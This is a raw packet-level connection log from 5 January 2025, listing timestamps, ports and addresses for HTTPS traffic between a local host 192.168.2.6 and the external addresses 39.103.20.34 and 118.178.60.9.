Jan 5, 2025 10:11:34.631056070 CET	62775	443	192.168.2.6	39.103.20.34
Jan 5, 2025 10:11:34.631062031 CET	443	62775	39.103.20.34	192.168.2.6
Jan 5, 2025 10:11:34.631077051 CET	443	62775	39.103.20.34	192.168.2.6
Jan 5, 2025 10:11:34.631087065 CET	443	62775	39.103.20.34	192.168.2.6
Jan 5, 2025 10:11:34.631283045 CET	62775	443	192.168.2.6	39.103.20.34
Jan 5, 2025 10:11:34.631290913 CET	443	62775	39.103.20.34	192.168.2.6
Jan 5, 2025 10:11:34.631310940 CET	443	62775	39.103.20.34	192.168.2.6
Jan 5, 2025 10:11:34.631333113 CET	443	62775	39.103.20.34	192.168.2.6
Jan 5, 2025 10:11:34.631551027 CET	62775	443	192.168.2.6	39.103.20.34
Jan 5, 2025 10:11:34.631678104 CET	62775	443	192.168.2.6	39.103.20.34
Jan 5, 2025 10:11:34.631683111 CET	443	62775	39.103.20.34	192.168.2.6
Jan 5, 2025 10:11:34.631767035 CET	62775	443	192.168.2.6	39.103.20.34
Jan 5, 2025 10:11:34.839339972 CET	443	62775	39.103.20.34	192.168.2.6
Jan 5, 2025 10:11:34.839456081 CET	62775	443	192.168.2.6	39.103.20.34
Jan 5, 2025 10:11:35.012491941 CET	62775	443	192.168.2.6	39.103.20.34
Jan 5, 2025 10:11:35.012506962 CET	443	62775	39.103.20.34	192.168.2.6
Jan 5, 2025 10:11:35.012523890 CET	443	62775	39.103.20.34	192.168.2.6
Jan 5, 2025 10:11:35.012629986 CET	62775	443	192.168.2.6	39.103.20.34
Jan 5, 2025 10:11:35.065685034 CET	62775	443	192.168.2.6	39.103.20.34
Jan 5, 2025 10:11:35.065706968 CET	443	62775	39.103.20.34	192.168.2.6
Jan 5, 2025 10:11:35.065722942 CET	443	62775	39.103.20.34	192.168.2.6
Jan 5, 2025 10:11:35.065860987 CET	62775	443	192.168.2.6	39.103.20.34
Jan 5, 2025 10:11:35.456221104 CET	62775	443	192.168.2.6	39.103.20.34
Jan 5, 2025 10:11:35.528268099 CET	62775	443	192.168.2.6	39.103.20.34
Jan 5, 2025 10:11:36.127830029 CET	62775	443	192.168.2.6	39.103.20.34
Jan 5, 2025 10:11:36.127857924 CET	443	62775	39.103.20.34	192.168.2.6
Jan 5, 2025 10:11:36.327244043 CET	62776	443	192.168.2.6	39.103.20.34
Jan 5, 2025 10:11:36.327266932 CET	443	62776	39.103.20.34	192.168.2.6
Jan 5, 2025 10:11:36.327356100 CET	62776	443	192.168.2.6	39.103.20.34
Jan 5, 2025 10:11:36.327627897 CET	62776	443	192.168.2.6	39.103.20.34
Jan 5, 2025 10:11:36.327639103 CET	443	62776	39.103.20.34	192.168.2.6
Jan 5, 2025 10:11:37.646043062 CET	443	62776	39.103.20.34	192.168.2.6
Jan 5, 2025 10:11:37.646246910 CET	62776	443	192.168.2.6	39.103.20.34
Jan 5, 2025 10:11:37.646687031 CET	62776	443	192.168.2.6	39.103.20.34
Jan 5, 2025 10:11:37.646692038 CET	443	62776	39.103.20.34	192.168.2.6
Jan 5, 2025 10:11:37.646886110 CET	62776	443	192.168.2.6	39.103.20.34
Jan 5, 2025 10:11:37.646891117 CET	443	62776	39.103.20.34	192.168.2.6
Jan 5, 2025 10:11:38.005759001 CET	443	62776	39.103.20.34	192.168.2.6
Jan 5, 2025 10:11:38.005784988 CET	443	62776	39.103.20.34	192.168.2.6
Jan 5, 2025 10:11:38.006103039 CET	62776	443	192.168.2.6	39.103.20.34
Jan 5, 2025 10:11:38.006117105 CET	443	62776	39.103.20.34	192.168.2.6
Jan 5, 2025 10:11:38.006201982 CET	62776	443	192.168.2.6	39.103.20.34
Jan 5, 2025 10:11:38.006848097 CET	443	62776	39.103.20.34	192.168.2.6
Jan 5, 2025 10:11:38.006903887 CET	62776	443	192.168.2.6	39.103.20.34
Jan 5, 2025 10:11:38.007812023 CET	443	62776	39.103.20.34	192.168.2.6
Jan 5, 2025 10:11:38.007878065 CET	62776	443	192.168.2.6	39.103.20.34
Jan 5, 2025 10:11:38.011876106 CET	443	62776	39.103.20.34	192.168.2.6
Jan 5, 2025 10:11:38.011943102 CET	62776	443	192.168.2.6	39.103.20.34
Jan 5, 2025 10:11:38.095195055 CET	443	62776	39.103.20.34	192.168.2.6
Jan 5, 2025 10:11:38.095321894 CET	62776	443	192.168.2.6	39.103.20.34
Jan 5, 2025 10:11:38.095918894 CET	443	62776	39.103.20.34	192.168.2.6
Jan 5, 2025 10:11:38.096004009 CET	62776	443	192.168.2.6	39.103.20.34
Jan 5, 2025 10:11:38.096734047 CET	443	62776	39.103.20.34	192.168.2.6
Jan 5, 2025 10:11:38.096793890 CET	62776	443	192.168.2.6	39.103.20.34
Jan 5, 2025 10:11:38.096801996 CET	443	62776	39.103.20.34	192.168.2.6
Jan 5, 2025 10:11:38.096853018 CET	443	62776	39.103.20.34	192.168.2.6
Jan 5, 2025 10:11:38.096865892 CET	62776	443	192.168.2.6	39.103.20.34
Jan 5, 2025 10:11:38.096919060 CET	62776	443	192.168.2.6	39.103.20.34
Jan 5, 2025 10:11:38.096978903 CET	62776	443	192.168.2.6	39.103.20.34
Jan 5, 2025 10:11:38.096988916 CET	443	62776	39.103.20.34	192.168.2.6
Jan 5, 2025 10:11:38.123018026 CET	62777	443	192.168.2.6	39.103.20.34
Jan 5, 2025 10:11:38.123064041 CET	443	62777	39.103.20.34	192.168.2.6
Jan 5, 2025 10:11:38.123136044 CET	62777	443	192.168.2.6	39.103.20.34
Jan 5, 2025 10:11:38.123358965 CET	62777	443	192.168.2.6	39.103.20.34
Jan 5, 2025 10:11:38.123377085 CET	443	62777	39.103.20.34	192.168.2.6
Jan 5, 2025 10:11:39.455305099 CET	443	62777	39.103.20.34	192.168.2.6
Jan 5, 2025 10:11:39.455365896 CET	62777	443	192.168.2.6	39.103.20.34
Jan 5, 2025 10:11:39.462696075 CET	62777	443	192.168.2.6	39.103.20.34
Jan 5, 2025 10:11:39.462703943 CET	443	62777	39.103.20.34	192.168.2.6
Jan 5, 2025 10:11:39.462939024 CET	62777	443	192.168.2.6	39.103.20.34
Jan 5, 2025 10:11:39.462944031 CET	443	62777	39.103.20.34	192.168.2.6
Jan 5, 2025 10:11:39.818816900 CET	443	62777	39.103.20.34	192.168.2.6
Jan 5, 2025 10:11:39.818852901 CET	443	62777	39.103.20.34	192.168.2.6
Jan 5, 2025 10:11:39.819066048 CET	62777	443	192.168.2.6	39.103.20.34
Jan 5, 2025 10:11:39.819087982 CET	443	62777	39.103.20.34	192.168.2.6
Jan 5, 2025 10:11:39.819142103 CET	62777	443	192.168.2.6	39.103.20.34
Jan 5, 2025 10:11:39.819415092 CET	443	62777	39.103.20.34	192.168.2.6
Jan 5, 2025 10:11:39.819475889 CET	62777	443	192.168.2.6	39.103.20.34
Jan 5, 2025 10:11:39.819483042 CET	443	62777	39.103.20.34	192.168.2.6
Jan 5, 2025 10:11:39.819564104 CET	443	62777	39.103.20.34	192.168.2.6
Jan 5, 2025 10:11:39.819611073 CET	62777	443	192.168.2.6	39.103.20.34
Jan 5, 2025 10:11:39.820102930 CET	62777	443	192.168.2.6	39.103.20.34
Jan 5, 2025 10:11:39.820122957 CET	443	62777	39.103.20.34	192.168.2.6
Jan 5, 2025 10:12:14.803364992 CET	62780	443	192.168.2.6	118.178.60.9
Jan 5, 2025 10:12:14.803414106 CET	443	62780	118.178.60.9	192.168.2.6
Jan 5, 2025 10:12:14.803522110 CET	62780	443	192.168.2.6	118.178.60.9
Jan 5, 2025 10:12:14.812403917 CET	62780	443	192.168.2.6	118.178.60.9
Jan 5, 2025 10:12:14.812419891 CET	443	62780	118.178.60.9	192.168.2.6
Jan 5, 2025 10:12:16.209335089 CET	443	62780	118.178.60.9	192.168.2.6
Jan 5, 2025 10:12:16.209602118 CET	62780	443	192.168.2.6	118.178.60.9
Jan 5, 2025 10:12:16.210139036 CET	443	62780	118.178.60.9	192.168.2.6
Jan 5, 2025 10:12:16.211524963 CET	62780	443	192.168.2.6	118.178.60.9
Jan 5, 2025 10:12:16.550386906 CET	62780	443	192.168.2.6	118.178.60.9
Jan 5, 2025 10:12:16.550421953 CET	443	62780	118.178.60.9	192.168.2.6
Jan 5, 2025 10:12:16.550827026 CET	443	62780	118.178.60.9	192.168.2.6
Jan 5, 2025 10:12:16.550894022 CET	62780	443	192.168.2.6	118.178.60.9
Jan 5, 2025 10:12:16.556310892 CET	62780	443	192.168.2.6	118.178.60.9
Jan 5, 2025 10:12:16.599335909 CET	443	62780	118.178.60.9	192.168.2.6
Jan 5, 2025 10:12:16.927082062 CET	443	62780	118.178.60.9	192.168.2.6
Jan 5, 2025 10:12:16.927109003 CET	443	62780	118.178.60.9	192.168.2.6
Jan 5, 2025 10:12:16.927176952 CET	62780	443	192.168.2.6	118.178.60.9
Jan 5, 2025 10:12:16.927206993 CET	443	62780	118.178.60.9	192.168.2.6
Jan 5, 2025 10:12:16.927221060 CET	62780	443	192.168.2.6	118.178.60.9
Jan 5, 2025 10:12:16.927340984 CET	443	62780	118.178.60.9	192.168.2.6
Jan 5, 2025 10:12:16.927355051 CET	62780	443	192.168.2.6	118.178.60.9
Jan 5, 2025 10:12:16.927361012 CET	443	62780	118.178.60.9	192.168.2.6
Jan 5, 2025 10:12:16.927387953 CET	62780	443	192.168.2.6	118.178.60.9
Jan 5, 2025 10:12:16.927421093 CET	62780	443	192.168.2.6	118.178.60.9
Jan 5, 2025 10:12:16.928878069 CET	443	62780	118.178.60.9	192.168.2.6
Jan 5, 2025 10:12:16.928946972 CET	62780	443	192.168.2.6	118.178.60.9
Jan 5, 2025 10:12:16.933373928 CET	443	62780	118.178.60.9	192.168.2.6
Jan 5, 2025 10:12:16.933429956 CET	62780	443	192.168.2.6	118.178.60.9
Jan 5, 2025 10:12:17.015197039 CET	443	62780	118.178.60.9	192.168.2.6
Jan 5, 2025 10:12:17.015283108 CET	62780	443	192.168.2.6	118.178.60.9
Jan 5, 2025 10:12:17.015361071 CET	443	62780	118.178.60.9	192.168.2.6
Jan 5, 2025 10:12:17.015407085 CET	62780	443	192.168.2.6	118.178.60.9
Jan 5, 2025 10:12:17.016148090 CET	443	62780	118.178.60.9	192.168.2.6
Jan 5, 2025 10:12:17.016206026 CET	62780	443	192.168.2.6	118.178.60.9
Jan 5, 2025 10:12:17.016475916 CET	443	62780	118.178.60.9	192.168.2.6
Jan 5, 2025 10:12:17.016535997 CET	62780	443	192.168.2.6	118.178.60.9
Jan 5, 2025 10:12:17.017306089 CET	443	62780	118.178.60.9	192.168.2.6
Jan 5, 2025 10:12:17.017368078 CET	62780	443	192.168.2.6	118.178.60.9
Jan 5, 2025 10:12:17.017375946 CET	443	62780	118.178.60.9	192.168.2.6
Jan 5, 2025 10:12:17.017433882 CET	443	62780	118.178.60.9	192.168.2.6
Jan 5, 2025 10:12:17.017435074 CET	62780	443	192.168.2.6	118.178.60.9
Jan 5, 2025 10:12:17.017498016 CET	62780	443	192.168.2.6	118.178.60.9
Jan 5, 2025 10:12:17.017503977 CET	443	62780	118.178.60.9	192.168.2.6
Jan 5, 2025 10:12:17.017517090 CET	62780	443	192.168.2.6	118.178.60.9
Jan 5, 2025 10:12:18.322377920 CET	62781	443	192.168.2.6	118.178.60.9
Jan 5, 2025 10:12:18.322438955 CET	443	62781	118.178.60.9	192.168.2.6
Jan 5, 2025 10:12:18.322602987 CET	62781	443	192.168.2.6	118.178.60.9
Jan 5, 2025 10:12:18.322850943 CET	62781	443	192.168.2.6	118.178.60.9
Jan 5, 2025 10:12:18.322863102 CET	443	62781	118.178.60.9	192.168.2.6
Jan 5, 2025 10:12:19.680835962 CET	443	62781	118.178.60.9	192.168.2.6
Jan 5, 2025 10:12:19.680911064 CET	62781	443	192.168.2.6	118.178.60.9
Jan 5, 2025 10:12:19.681628942 CET	62781	443	192.168.2.6	118.178.60.9
Jan 5, 2025 10:12:19.681639910 CET	443	62781	118.178.60.9	192.168.2.6
Jan 5, 2025 10:12:19.681879044 CET	62781	443	192.168.2.6	118.178.60.9
Jan 5, 2025 10:12:19.681883097 CET	443	62781	118.178.60.9	192.168.2.6
Jan 5, 2025 10:12:20.041347980 CET	443	62781	118.178.60.9	192.168.2.6
Jan 5, 2025 10:12:20.041428089 CET	443	62781	118.178.60.9	192.168.2.6
Jan 5, 2025 10:12:20.041465044 CET	62781	443	192.168.2.6	118.178.60.9
Jan 5, 2025 10:12:20.041496038 CET	62781	443	192.168.2.6	118.178.60.9
Jan 5, 2025 10:12:20.042403936 CET	62781	443	192.168.2.6	118.178.60.9
Jan 5, 2025 10:12:20.042423964 CET	443	62781	118.178.60.9	192.168.2.6
Jan 5, 2025 10:12:20.051687002 CET	62782	443	192.168.2.6	118.178.60.9
Jan 5, 2025 10:12:20.051745892 CET	443	62782	118.178.60.9	192.168.2.6
Jan 5, 2025 10:12:20.051826000 CET	62782	443	192.168.2.6	118.178.60.9
Jan 5, 2025 10:12:20.052113056 CET	62782	443	192.168.2.6	118.178.60.9
Jan 5, 2025 10:12:20.052124977 CET	443	62782	118.178.60.9	192.168.2.6
Jan 5, 2025 10:12:21.447552919 CET	443	62782	118.178.60.9	192.168.2.6
Jan 5, 2025 10:12:21.447663069 CET	62782	443	192.168.2.6	118.178.60.9
Jan 5, 2025 10:12:21.448190928 CET	62782	443	192.168.2.6	118.178.60.9
Jan 5, 2025 10:12:21.448199987 CET	443	62782	118.178.60.9	192.168.2.6
Jan 5, 2025 10:12:21.448390007 CET	62782	443	192.168.2.6	118.178.60.9
Jan 5, 2025 10:12:21.448395967 CET	443	62782	118.178.60.9	192.168.2.6
Jan 5, 2025 10:12:21.800000906 CET	443	62782	118.178.60.9	192.168.2.6
Jan 5, 2025 10:12:21.800024986 CET	443	62782	118.178.60.9	192.168.2.6
Jan 5, 2025 10:12:21.800344944 CET	62782	443	192.168.2.6	118.178.60.9
Jan 5, 2025 10:12:21.800375938 CET	443	62782	118.178.60.9	192.168.2.6
Jan 5, 2025 10:12:21.800460100 CET	62782	443	192.168.2.6	118.178.60.9
Jan 5, 2025 10:12:21.800724030 CET	443	62782	118.178.60.9	192.168.2.6
Jan 5, 2025 10:12:21.800779104 CET	62782	443	192.168.2.6	118.178.60.9
Jan 5, 2025 10:12:21.801924944 CET	443	62782	118.178.60.9	192.168.2.6
Jan 5, 2025 10:12:21.801985979 CET	62782	443	192.168.2.6	118.178.60.9
Jan 5, 2025 10:12:21.806200027 CET	443	62782	118.178.60.9	192.168.2.6
Jan 5, 2025 10:12:21.806263924 CET	62782	443	192.168.2.6	118.178.60.9
Jan 5, 2025 10:12:21.886856079 CET	443	62782	118.178.60.9	192.168.2.6
Jan 5, 2025 10:12:21.887069941 CET	62782	443	192.168.2.6	118.178.60.9
Jan 5, 2025 10:12:21.887286901 CET	443	62782	118.178.60.9	192.168.2.6
Jan 5, 2025 10:12:21.887345076 CET	62782	443	192.168.2.6	118.178.60.9
Jan 5, 2025 10:12:21.887659073 CET	443	62782	118.178.60.9	192.168.2.6
Jan 5, 2025 10:12:21.887712955 CET	62782	443	192.168.2.6	118.178.60.9
Jan 5, 2025 10:12:21.888253927 CET	443	62782	118.178.60.9	192.168.2.6
Jan 5, 2025 10:12:21.888305902 CET	62782	443	192.168.2.6	118.178.60.9
Jan 5, 2025 10:12:21.889118910 CET	443	62782	118.178.60.9	192.168.2.6
Jan 5, 2025 10:12:21.889169931 CET	62782	443	192.168.2.6	118.178.60.9
Jan 5, 2025 10:12:21.889240026 CET	443	62782	118.178.60.9	192.168.2.6
Jan 5, 2025 10:12:21.889291048 CET	62782	443	192.168.2.6	118.178.60.9
Jan 5, 2025 10:12:21.891232967 CET	443	62782	118.178.60.9	192.168.2.6
Jan 5, 2025 10:12:21.891279936 CET	443	62782	118.178.60.9	192.168.2.6
Jan 5, 2025 10:12:21.891285896 CET	62782	443	192.168.2.6	118.178.60.9
Jan 5, 2025 10:12:21.891294956 CET	443	62782	118.178.60.9	192.168.2.6
Jan 5, 2025 10:12:21.891325951 CET	62782	443	192.168.2.6	118.178.60.9
Jan 5, 2025 10:12:21.891351938 CET	62782	443	192.168.2.6	118.178.60.9
Jan 5, 2025 10:12:21.893750906 CET	443	62782	118.178.60.9	192.168.2.6
Jan 5, 2025 10:12:21.893822908 CET	62782	443	192.168.2.6	118.178.60.9
Jan 5, 2025 10:12:21.893831015 CET	443	62782	118.178.60.9	192.168.2.6
Jan 5, 2025 10:12:21.893848896 CET	443	62782	118.178.60.9	192.168.2.6
Jan 5, 2025 10:12:21.893892050 CET	62782	443	192.168.2.6	118.178.60.9
Jan 5, 2025 10:12:21.893917084 CET	62782	443	192.168.2.6	118.178.60.9
Jan 5, 2025 10:12:21.914093971 CET	62782	443	192.168.2.6	118.178.60.9
Jan 5, 2025 10:12:21.914110899 CET	443	62782	118.178.60.9	192.168.2.6
Jan 5, 2025 10:12:21.974478960 CET	62783	443	192.168.2.6	118.178.60.9
Jan 5, 2025 10:12:21.974539042 CET	443	62783	118.178.60.9	192.168.2.6
Jan 5, 2025 10:12:21.974636078 CET	62783	443	192.168.2.6	118.178.60.9
Jan 5, 2025 10:12:21.974834919 CET	62783	443	192.168.2.6	118.178.60.9
Jan 5, 2025 10:12:21.974845886 CET	443	62783	118.178.60.9	192.168.2.6
Jan 5, 2025 10:12:23.305753946 CET	443	62783	118.178.60.9	192.168.2.6
Jan 5, 2025 10:12:23.305830956 CET	62783	443	192.168.2.6	118.178.60.9
Jan 5, 2025 10:12:23.306298018 CET	62783	443	192.168.2.6	118.178.60.9
Jan 5, 2025 10:12:23.306308985 CET	443	62783	118.178.60.9	192.168.2.6
Jan 5, 2025 10:12:23.306495905 CET	62783	443	192.168.2.6	118.178.60.9
Jan 5, 2025 10:12:23.306500912 CET	443	62783	118.178.60.9	192.168.2.6
Jan 5, 2025 10:12:23.671205044 CET	443	62783	118.178.60.9	192.168.2.6
Jan 5, 2025 10:12:23.671230078 CET	443	62783	118.178.60.9	192.168.2.6
Jan 5, 2025 10:12:23.671297073 CET	62783	443	192.168.2.6	118.178.60.9
Jan 5, 2025 10:12:23.671335936 CET	443	62783	118.178.60.9	192.168.2.6
Jan 5, 2025 10:12:23.671457052 CET	62783	443	192.168.2.6	118.178.60.9
Jan 5, 2025 10:12:23.671457052 CET	62783	443	192.168.2.6	118.178.60.9
Jan 5, 2025 10:12:23.671833038 CET	443	62783	118.178.60.9	192.168.2.6
Jan 5, 2025 10:12:23.671899080 CET	62783	443	192.168.2.6	118.178.60.9
Jan 5, 2025 10:12:23.673156977 CET	443	62783	118.178.60.9	192.168.2.6
Jan 5, 2025 10:12:23.673243999 CET	62783	443	192.168.2.6	118.178.60.9
Jan 5, 2025 10:12:23.677515984 CET	443	62783	118.178.60.9	192.168.2.6
Jan 5, 2025 10:12:23.677586079 CET	62783	443	192.168.2.6	118.178.60.9
Jan 5, 2025 10:12:23.757915020 CET	443	62783	118.178.60.9	192.168.2.6
Jan 5, 2025 10:12:23.758080006 CET	62783	443	192.168.2.6	118.178.60.9
Jan 5, 2025 10:12:23.758297920 CET	443	62783	118.178.60.9	192.168.2.6
Jan 5, 2025 10:12:23.758451939 CET	62783	443	192.168.2.6	118.178.60.9
Jan 5, 2025 10:12:23.758758068 CET	443	62783	118.178.60.9	192.168.2.6
Jan 5, 2025 10:12:23.758819103 CET	62783	443	192.168.2.6	118.178.60.9
Jan 5, 2025 10:12:23.759340048 CET	443	62783	118.178.60.9	192.168.2.6
Jan 5, 2025 10:12:23.759399891 CET	62783	443	192.168.2.6	118.178.60.9
Jan 5, 2025 10:12:23.759957075 CET	443	62783	118.178.60.9	192.168.2.6
Jan 5, 2025 10:12:23.760023117 CET	62783	443	192.168.2.6	118.178.60.9
Jan 5, 2025 10:12:23.760596037 CET	443	62783	118.178.60.9	192.168.2.6
Jan 5, 2025 10:12:23.760659933 CET	62783	443	192.168.2.6	118.178.60.9
Jan 5, 2025 10:12:23.762094021 CET	443	62783	118.178.60.9	192.168.2.6
Jan 5, 2025 10:12:23.762156963 CET	62783	443	192.168.2.6	118.178.60.9
Jan 5, 2025 10:12:23.762463093 CET	443	62783	118.178.60.9	192.168.2.6
Jan 5, 2025 10:12:23.762518883 CET	62783	443	192.168.2.6	118.178.60.9
Jan 5, 2025 10:12:23.764406919 CET	443	62783	118.178.60.9	192.168.2.6
Jan 5, 2025 10:12:23.764467955 CET	62783	443	192.168.2.6	118.178.60.9
Jan 5, 2025 10:12:23.844782114 CET	443	62783	118.178.60.9	192.168.2.6
Jan 5, 2025 10:12:23.844978094 CET	62783	443	192.168.2.6	118.178.60.9
Jan 5, 2025 10:12:23.845047951 CET	443	62783	118.178.60.9	192.168.2.6
Jan 5, 2025 10:12:23.845211029 CET	62783	443	192.168.2.6	118.178.60.9
Jan 5, 2025 10:12:23.845546961 CET	443	62783	118.178.60.9	192.168.2.6
Jan 5, 2025 10:12:23.845599890 CET	62783	443	192.168.2.6	118.178.60.9
Jan 5, 2025 10:12:23.845962048 CET	443	62783	118.178.60.9	192.168.2.6
Jan 5, 2025 10:12:23.846024990 CET	62783	443	192.168.2.6	118.178.60.9
Jan 5, 2025 10:12:23.846875906 CET	443	62783	118.178.60.9	192.168.2.6
Jan 5, 2025 10:12:23.846910954 CET	443	62783	118.178.60.9	192.168.2.6
Jan 5, 2025 10:12:23.846940994 CET	62783	443	192.168.2.6	118.178.60.9
Jan 5, 2025 10:12:23.846951008 CET	443	62783	118.178.60.9	192.168.2.6
Jan 5, 2025 10:12:23.846965075 CET	62783	443	192.168.2.6	118.178.60.9
Jan 5, 2025 10:12:23.846995115 CET	62783	443	192.168.2.6	118.178.60.9
Jan 5, 2025 10:12:23.847856045 CET	443	62783	118.178.60.9	192.168.2.6
Jan 5, 2025 10:12:23.847887039 CET	443	62783	118.178.60.9	192.168.2.6
Jan 5, 2025 10:12:23.847913980 CET	62783	443	192.168.2.6	118.178.60.9
Jan 5, 2025 10:12:23.847919941 CET	443	62783	118.178.60.9	192.168.2.6
Jan 5, 2025 10:12:23.847951889 CET	62783	443	192.168.2.6	118.178.60.9
Jan 5, 2025 10:12:23.848738909 CET	443	62783	118.178.60.9	192.168.2.6
Jan 5, 2025 10:12:23.848772049 CET	62783	443	192.168.2.6	118.178.60.9
Jan 5, 2025 10:12:23.848777056 CET	443	62783	118.178.60.9	192.168.2.6
Jan 5, 2025 10:12:23.848793030 CET	62783	443	192.168.2.6	118.178.60.9
Jan 5, 2025 10:12:23.848828077 CET	62783	443	192.168.2.6	118.178.60.9
Jan 5, 2025 10:12:23.849642038 CET	443	62783	118.178.60.9	192.168.2.6
Jan 5, 2025 10:12:23.849670887 CET	443	62783	118.178.60.9	192.168.2.6
Jan 5, 2025 10:12:23.849704981 CET	62783	443	192.168.2.6	118.178.60.9
Jan 5, 2025 10:12:23.849710941 CET	443	62783	118.178.60.9	192.168.2.6
Jan 5, 2025 10:12:23.849729061 CET	62783	443	192.168.2.6	118.178.60.9
Jan 5, 2025 10:12:23.849751949 CET	62783	443	192.168.2.6	118.178.60.9
Jan 5, 2025 10:12:23.850548029 CET	443	62783	118.178.60.9	192.168.2.6
Jan 5, 2025 10:12:23.850583076 CET	443	62783	118.178.60.9	192.168.2.6
Jan 5, 2025 10:12:23.850609064 CET	62783	443	192.168.2.6	118.178.60.9
Jan 5, 2025 10:12:23.850613117 CET	443	62783	118.178.60.9	192.168.2.6
Jan 5, 2025 10:12:23.850646019 CET	62783	443	192.168.2.6	118.178.60.9
Jan 5, 2025 10:12:23.850651979 CET	62783	443	192.168.2.6	118.178.60.9
Jan 5, 2025 10:12:23.851543903 CET	443	62783	118.178.60.9	192.168.2.6
Jan 5, 2025 10:12:23.851613045 CET	62783	443	192.168.2.6	118.178.60.9
Jan 5, 2025 10:12:23.852274895 CET	443	62783	118.178.60.9	192.168.2.6
Jan 5, 2025 10:12:23.852312088 CET	443	62783	118.178.60.9	192.168.2.6
Jan 5, 2025 10:12:23.852338076 CET	62783	443	192.168.2.6	118.178.60.9
Jan 5, 2025 10:12:23.852349997 CET	443	62783	118.178.60.9	192.168.2.6
Jan 5, 2025 10:12:23.852356911 CET	62783	443	192.168.2.6	118.178.60.9
Jan 5, 2025 10:12:23.852395058 CET	62783	443	192.168.2.6	118.178.60.9
Jan 5, 2025 10:12:23.931624889 CET	443	62783	118.178.60.9	192.168.2.6
Jan 5, 2025 10:12:23.931776047 CET	62783	443	192.168.2.6	118.178.60.9
Jan 5, 2025 10:12:23.932765961 CET	443	62783	118.178.60.9	192.168.2.6
Jan 5, 2025 10:12:23.932864904 CET	62783	443	192.168.2.6	118.178.60.9
Jan 5, 2025 10:12:23.933209896 CET	443	62783	118.178.60.9	192.168.2.6
Jan 5, 2025 10:12:23.933285952 CET	62783	443	192.168.2.6	118.178.60.9
Jan 5, 2025 10:12:23.934591055 CET	443	62783	118.178.60.9	192.168.2.6
Jan 5, 2025 10:12:23.934684992 CET	62783	443	192.168.2.6	118.178.60.9
Jan 5, 2025 10:12:23.938920975 CET	443	62783	118.178.60.9	192.168.2.6
Jan 5, 2025 10:12:23.939045906 CET	62783	443	192.168.2.6	118.178.60.9
Jan 5, 2025 10:12:23.940929890 CET	443	62783	118.178.60.9	192.168.2.6
Jan 5, 2025 10:12:23.941018105 CET	62783	443	192.168.2.6	118.178.60.9
Jan 5, 2025 10:12:23.945458889 CET	443	62783	118.178.60.9	192.168.2.6
Jan 5, 2025 10:12:23.945565939 CET	62783	443	192.168.2.6	118.178.60.9
Jan 5, 2025 10:12:23.947762966 CET	443	62783	118.178.60.9	192.168.2.6
Jan 5, 2025 10:12:23.947848082 CET	62783	443	192.168.2.6	118.178.60.9
Jan 5, 2025 10:12:23.952146053 CET	443	62783	118.178.60.9	192.168.2.6
Jan 5, 2025 10:12:23.952274084 CET	62783	443	192.168.2.6	118.178.60.9
Jan 5, 2025 10:12:23.954323053 CET	443	62783	118.178.60.9	192.168.2.6
Jan 5, 2025 10:12:23.954405069 CET	62783	443	192.168.2.6	118.178.60.9
Jan 5, 2025 10:12:23.958726883 CET	443	62783	118.178.60.9	192.168.2.6
Jan 5, 2025 10:12:23.958810091 CET	62783	443	192.168.2.6	118.178.60.9
Jan 5, 2025 10:12:23.961826086 CET	443	62783	118.178.60.9	192.168.2.6
Jan 5, 2025 10:12:23.961895943 CET	62783	443	192.168.2.6	118.178.60.9
Jan 5, 2025 10:12:23.963216066 CET	443	62783	118.178.60.9	192.168.2.6
Jan 5, 2025 10:12:23.963289022 CET	62783	443	192.168.2.6	118.178.60.9
Jan 5, 2025 10:12:23.967797041 CET	443	62783	118.178.60.9	192.168.2.6
Jan 5, 2025 10:12:23.967865944 CET	62783	443	192.168.2.6	118.178.60.9
Jan 5, 2025 10:12:23.969818115 CET	443	62783	118.178.60.9	192.168.2.6
Jan 5, 2025 10:12:23.969897032 CET	62783	443	192.168.2.6	118.178.60.9
Jan 5, 2025 10:12:23.974288940 CET	443	62783	118.178.60.9	192.168.2.6
Jan 5, 2025 10:12:23.974400043 CET	62783	443	192.168.2.6	118.178.60.9
Jan 5, 2025 10:12:23.976577997 CET	443	62783	118.178.60.9	192.168.2.6
Jan 5, 2025 10:12:23.976663113 CET	62783	443	192.168.2.6	118.178.60.9
Jan 5, 2025 10:12:23.978895903 CET	443	62783	118.178.60.9	192.168.2.6
Jan 5, 2025 10:12:23.978951931 CET	62783	443	192.168.2.6	118.178.60.9
Jan 5, 2025 10:12:23.983108044 CET	443	62783	118.178.60.9	192.168.2.6
Jan 5, 2025 10:12:23.983180046 CET	62783	443	192.168.2.6	118.178.60.9
Jan 5, 2025 10:12:23.985464096 CET	443	62783	118.178.60.9	192.168.2.6
Jan 5, 2025 10:12:23.985548973 CET	62783	443	192.168.2.6	118.178.60.9
Jan 5, 2025 10:12:23.989799976 CET	443	62783	118.178.60.9	192.168.2.6
Jan 5, 2025 10:12:23.989856005 CET	62783	443	192.168.2.6	118.178.60.9
Jan 5, 2025 10:12:23.992106915 CET	443	62783	118.178.60.9	192.168.2.6
Jan 5, 2025 10:12:23.992175102 CET	62783	443	192.168.2.6	118.178.60.9
Jan 5, 2025 10:12:23.994442940 CET	443	62783	118.178.60.9	192.168.2.6
Jan 5, 2025 10:12:23.994514942 CET	62783	443	192.168.2.6	118.178.60.9
Jan 5, 2025 10:12:23.998754025 CET	443	62783	118.178.60.9	192.168.2.6
Jan 5, 2025 10:12:23.998840094 CET	62783	443	192.168.2.6	118.178.60.9
Jan 5, 2025 10:12:24.001415014 CET	443	62783	118.178.60.9	192.168.2.6
Jan 5, 2025 10:12:24.001476049 CET	62783	443	192.168.2.6	118.178.60.9
Jan 5, 2025 10:12:24.005448103 CET	443	62783	118.178.60.9	192.168.2.6
Jan 5, 2025 10:12:24.005508900 CET	62783	443	192.168.2.6	118.178.60.9
Jan 5, 2025 10:12:24.008353949 CET	443	62783	118.178.60.9	192.168.2.6
Jan 5, 2025 10:12:24.008418083 CET	62783	443	192.168.2.6	118.178.60.9
Jan 5, 2025 10:12:24.013878107 CET	443	62783	118.178.60.9	192.168.2.6
Jan 5, 2025 10:12:24.013937950 CET	62783	443	192.168.2.6	118.178.60.9
Jan 5, 2025 10:12:24.015927076 CET	443	62783	118.178.60.9	192.168.2.6
Jan 5, 2025 10:12:24.015985966 CET	62783	443	192.168.2.6	118.178.60.9
Jan 5, 2025 10:12:24.018577099 CET	443	62783	118.178.60.9	192.168.2.6
Jan 5, 2025 10:12:24.018645048 CET	62783	443	192.168.2.6	118.178.60.9
Jan 5, 2025 10:12:24.021043062 CET	443	62783	118.178.60.9	192.168.2.6
Jan 5, 2025 10:12:24.021101952 CET	62783	443	192.168.2.6	118.178.60.9
